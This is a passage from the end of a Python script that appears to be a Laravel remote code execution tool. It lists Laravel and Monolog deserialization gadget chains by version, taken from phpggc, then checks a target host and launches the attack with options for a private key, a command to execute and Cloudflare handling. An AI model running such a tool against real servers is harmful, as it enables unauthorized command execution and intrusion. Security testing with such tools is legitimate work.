            f"{DARKCYAN}- Laravel/RCE12 {CYAN}(5.8.35, 7.0.0, 9.3.10)\n"
            f"{DARKCYAN}- Laravel/RCE13 {CYAN}(5.3.0 <= 9.5.1+)\n"
            f"{DARKCYAN}- Laravel/RCE14 {CYAN}(5.3.0 <= 9.5.1+)\n"
            f"{DARKCYAN}- Laravel/RCE15 {CYAN}(5.5.0 <= v9.5.1+)\n"
            f"{DARKCYAN}- Laravel/RCE16 {CYAN}(5.6.0 <= v9.5.1+)\n"
            f"{DARKCYAN}- Laravel/RCE17 {CYAN}(10.31.0)\n"
            f"{DARKCYAN}- Laravel/RCE18 {CYAN}(10.31.0)\n"
            f"{DARKCYAN}- Laravel/RCE19 {CYAN}(10.34)\n"
            f"{DARKCYAN}- Laravel/RCE20 {CYAN}(5.6 <= 10.x)\n"
            f"{DARKCYAN}- Laravel/RCE21 {CYAN}(5.1.*)\n"
            f"{DARKCYAN}- Laravel/RCE22 {CYAN}(v10.0.0 <= v11.34.2+)\n"
            f"\n"
            f"{DARKCYAN}- Monolog/RCE1  {CYAN}(1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+)\n"
            f"{DARKCYAN}- Monolog/RCE2  {CYAN}(1.4.1 <= 2.2.0+)\n"
            f"{DARKCYAN}- Monolog/RCE3  {CYAN}(1.1.0 <= 1.10.0)\n"
            f"{DARKCYAN}- Monolog/RCE4  {CYAN}(? <= 2.4.4+)\n"
            f"{DARKCYAN}- Monolog/RCE5  {CYAN}(1.25 <= 2.2.0+)\n"
            f"{DARKCYAN}- Monolog/RCE6  {CYAN}(1.10.0 <= 2.2.0+)\n"
            f"{DARKCYAN}- Monolog/RCE7  {CYAN}(1.10.0 <= 2.7.0+)\n"
            f"{DARKCYAN}- Monolog/RCE8  {CYAN}(3.0.0 <= 3.1.0+)\n"
            f"{DARKCYAN}- Monolog/RCE9  {CYAN}(3.0.0 <= 3.1.0+)\n"
            f"{BLUE}from: https://github.com/ambionics/phpggc#usage"
        )
        sys.exit()

    # Validate before scan start
    if args.host is None:
        args.host = _input("Enter host (e.g. https://example.com/) :")

    if args.host[-1] != "/":
        args.host = args.host + "/"

    if not args.host.startswith(("http://", "https://")):
        args.host = f"http://{args.host}"

    if not validate_url(args.host):
        error("Parameter \"--host\" is invalid. Please use a valid url (e.g. https://example.com/)")
        sys.exit()

    if args.chain is not None and args.chain.lower() not in CHAINS:
        error(f"Parameter \"--chain\" is invalid. Please check \"{os.path.basename(sys.executable)} {os.path.basename(__file__)} --chains\".")
        sys.exit()

    requests.packages.urllib3.disable_warnings()

    try:
        Main(
            host=args.host,
            force=args.force,
            log_path=args.log,
            useragent=args.ua,
            chain=args.chain,
            php_executable=args.php,
            private_key=args.private_key,
            no_cache=args.no_cache,
            exec_command=args.exec,
            cloudflare=args.cloudflare,
            timeout=args.timeout,
        )
    except KeyboardInterrupt:
        print()
        info("Interrupted.")
        sys.exit(0)